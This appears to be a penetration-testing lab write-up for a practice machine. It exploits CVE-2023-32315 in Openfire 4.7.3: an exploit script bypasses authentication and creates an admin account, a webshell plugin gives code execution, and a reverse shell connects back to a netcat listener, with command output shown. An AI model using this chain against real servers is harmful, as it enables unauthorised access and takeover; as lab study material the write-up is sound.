Authentication Bypass + RCE


The target Openfire instances on both port 9090 and 9091 are vulnerable to CVE-2023-32315 due to its outdated version; 4.7.3

Authentication Bypass


┌──(.venv)─(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fired]
└─$ python3 CVE-2023-32315/CVE-2023-32315.py -t http://$IP:9090
 
 
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
 
[..] Checking target: http://192.168.62.96:9090
Successfully retrieved JSESSIONID: node0bfvu9t6o2m0t18trp30vb6ofh1.node0 + csrf: HSvtTddM4fiZth1
User added successfully: url: http://192.168.201.96:9090 username: yd31cs password: k0apyy

Credential Created

Successfully authenticated The web application is absurdly unstable

Webshell Plugin


Uploading the supplied webshell plugin; Management Tool

The uploaded webshell plugin is available under Server Settings > Management Tool

Password is 123

Code execution confirmed

Reverse Shell


Uploading the payload & making it executable

Invoking

┌──(.venv)─(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fired]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [192.168.45.249] from (UNKNOWN) [192.168.201.96] 50278
whoami
openfire
hostname
openfire
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:61:84 brd ff:ff:ff:ff:ff:ff
    inet 192.168.201.96/24 brd 192.168.201.255 scope global ens160
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the openfire user via exploiting CVE-2023-32315 with a RCE plugin